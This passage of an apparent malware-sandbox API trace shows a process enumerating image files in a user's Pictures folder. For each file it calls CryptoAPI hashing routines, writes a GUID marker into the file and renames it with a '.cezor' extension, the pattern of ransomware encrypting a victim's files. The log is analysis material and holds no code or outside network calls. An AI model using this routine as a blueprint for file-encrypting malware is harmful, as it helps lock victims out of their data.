nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x1347a, lpOverlapped=0x0) returned 1 [0060.422] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.422] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.422] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.422] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.423] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.423] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.423] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.423] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.423] GetLastError () returned 0x0 [0060.423] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.423] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.424] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1347a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.424] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.424] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.424] CloseHandle (hObject=0x5c4) returned 1 [0060.425] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Aor58F2ltwiS2qWZJE.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\aor58f2ltwis2qwzje.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Aor58F2ltwiS2qWZJE.bmp.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\aor58f2ltwis2qwzje.bmp.cezor")) returned 1 [0060.426] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0060.426] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini") returned=".ini" [0060.426] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f560020, ftCreationTime.dwHighDateTime=0x1d4c908, ftLastAccessTime.dwLowDateTime=0x2eff1bf0, ftLastAccessTime.dwHighDateTime=0x1d4cc14, ftLastWriteTime.dwLowDateTime=0x2eff1bf0, ftLastWriteTime.dwHighDateTime=0x1d4cc14, nFileSizeHigh=0x0, nFileSizeLow=0xac7b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FDQ3v_tHbiNjViuE.jpg", cAlternateFileName="FDQ3V_~1.JPG")) returned 1 [0060.426] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FDQ3v_tHbiNjViuE.jpg") returned=".jpg" [0060.426] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FDQ3v_tHbiNjViuE.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fdq3v_thbinjviue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.426] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=44155) returned 1 [0060.426] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.429] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xac55, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.429] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.430] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xac7b, lpOverlapped=0x0) returned 1 [0060.430] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.430] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.430] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.430] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.431] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.431] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.431] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.431] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.431] GetLastError () returned 0x0 [0060.431] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.431] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.431] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xac7b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.431] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.431] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.431] CloseHandle (hObject=0x5c4) returned 1 [0060.433] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FDQ3v_tHbiNjViuE.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fdq3v_thbinjviue.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FDQ3v_tHbiNjViuE.jpg.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fdq3v_thbinjviue.jpg.cezor")) returned 1 [0060.434] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50a93880, ftCreationTime.dwHighDateTime=0x1d4cd1d, ftLastAccessTime.dwLowDateTime=0x34cd7df0, ftLastAccessTime.dwHighDateTime=0x1d4d0d9, ftLastWriteTime.dwLowDateTime=0x34cd7df0, ftLastWriteTime.dwHighDateTime=0x1d4d0d9, nFileSizeHigh=0x0, nFileSizeLow=0xfe06, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiUvM1waNbZk-e.bmp", cAlternateFileName="HIUVM1~1.BMP")) returned 1 [0060.434] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\hiUvM1waNbZk-e.bmp") returned=".bmp" [0060.434] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\hiUvM1waNbZk-e.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hiuvm1wanbzk-e.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.434] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=65030) returned 1 [0060.434] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.437] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xfde0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.437] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.438] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xfe06, lpOverlapped=0x0) returned 1 [0060.438] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.438] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.438] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.438] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.439] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.439] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.439] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.439] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.439] GetLastError () returned 0x0 [0060.439] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.439] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.440] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xfe06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.440] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.440] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.440] CloseHandle (hObject=0x5c4) returned 1 [0060.441] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\hiUvM1waNbZk-e.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hiuvm1wanbzk-e.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\hiUvM1waNbZk-e.bmp.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hiuvm1wanbzk-e.bmp.cezor")) returned 1 [0060.442] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd168000, ftCreationTime.dwHighDateTime=0x1d4d072, ftLastAccessTime.dwLowDateTime=0x87d3c7e0, ftLastAccessTime.dwHighDateTime=0x1d4c97f, ftLastWriteTime.dwLowDateTime=0x87d3c7e0, ftLastWriteTime.dwHighDateTime=0x1d4c97f, nFileSizeHigh=0x0, nFileSizeLow=0x4889, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jMNoGbN.gif", cAlternateFileName="")) returned 1 [0060.442] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jMNoGbN.gif") returned=".gif" [0060.442] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jMNoGbN.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jmnogbn.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.442] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=18569) returned 1 [0060.442] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.444] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4863, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.445] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.445] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x4889, lpOverlapped=0x0) returned 1 [0060.445] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.445] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.445] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.445] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0060.446] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.446] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.446] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.446] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.446] GetLastError () returned 0x0 [0060.446] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.446] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0060.447] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4889, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.447] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.447] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.447] CloseHandle (hObject=0x5c4) returned 1 [0060.448] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jMNoGbN.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jmnogbn.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jMNoGbN.gif.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jmnogbn.gif.cezor")) returned 1 [0060.449] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe26c240, ftCreationTime.dwHighDateTime=0x1d4c6ad, ftLastAccessTime.dwLowDateTime=0xa815b150, ftLastAccessTime.dwHighDateTime=0x1d4d32d, ftLastWriteTime.dwLowDateTime=0xa815b150, ftLastWriteTime.dwHighDateTime=0x1d4d32d, nFileSizeHigh=0x0, nFileSizeLow=0x110f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="L4Lb_VKCFG5Baj3.gif", cAlternateFileName="L4LB_V~1.GIF")) returned 1 [0060.449] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\L4Lb_VKCFG5Baj3.gif") returned=".gif" [0060.449] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\L4Lb_VKCFG5Baj3.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\l4lb_vkcfg5baj3.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.449] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=4367) returned 1 [0060.449] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.451] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.451] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.452] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x110f, lpOverlapped=0x0) returned 1 [0060.452] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.452] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.452] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.452] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.453] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.453] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.453] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.453] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.453] GetLastError () returned 0x0 [0060.453] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.453] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.453] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x110f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.453] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.453] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.453] CloseHandle (hObject=0x5c4) returned 1 [0060.454] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\L4Lb_VKCFG5Baj3.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\l4lb_vkcfg5baj3.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\L4Lb_VKCFG5Baj3.gif.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\l4lb_vkcfg5baj3.gif.cezor")) returned 1 [0060.455] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62df8740, ftCreationTime.dwHighDateTime=0x1d4cef6, ftLastAccessTime.dwLowDateTime=0xabac5ce0, ftLastAccessTime.dwHighDateTime=0x1d4d33e, ftLastWriteTime.dwLowDateTime=0xabac5ce0, ftLastWriteTime.dwHighDateTime=0x1d4d33e, nFileSizeHigh=0x0, nFileSizeLow=0x9081, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MCZaDa0QQJ6wcNZUXn.gif", cAlternateFileName="MCZADA~1.GIF")) returned 1 [0060.456] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\MCZaDa0QQJ6wcNZUXn.gif") returned=".gif" [0060.456] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\MCZaDa0QQJ6wcNZUXn.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mczada0qqj6wcnzuxn.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.456] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=36993) returned 1 [0060.456] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.458] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x905b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.458] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.459] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x9081, lpOverlapped=0x0) returned 1 [0060.459] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.459] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.459] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.459] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.460] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.460] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.460] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.460] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.460] GetLastError () returned 0x0 [0060.460] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.460] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.460] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x9081, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.460] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.460] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.460] CloseHandle (hObject=0x5c4) returned 1 [0060.461] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\MCZaDa0QQJ6wcNZUXn.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mczada0qqj6wcnzuxn.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\MCZaDa0QQJ6wcNZUXn.gif.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mczada0qqj6wcnzuxn.gif.cezor")) returned 1 [0060.462] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda5b1830, ftCreationTime.dwHighDateTime=0x1d4ca04, ftLastAccessTime.dwLowDateTime=0xa872220, ftLastAccessTime.dwHighDateTime=0x1d4d189, ftLastWriteTime.dwLowDateTime=0xa872220, ftLastWriteTime.dwHighDateTime=0x1d4d189, nFileSizeHigh=0x0, nFileSizeLow=0x16bbc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MkdmiW2n2hm UFrse-.bmp", cAlternateFileName="MKDMIW~1.BMP")) returned 1 [0060.462] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\MkdmiW2n2hm UFrse-.bmp") returned=".bmp" [0060.463] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\MkdmiW2n2hm UFrse-.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mkdmiw2n2hm ufrse-.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.463] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=93116) returned 1 [0060.463] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.464] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16b96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.464] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, 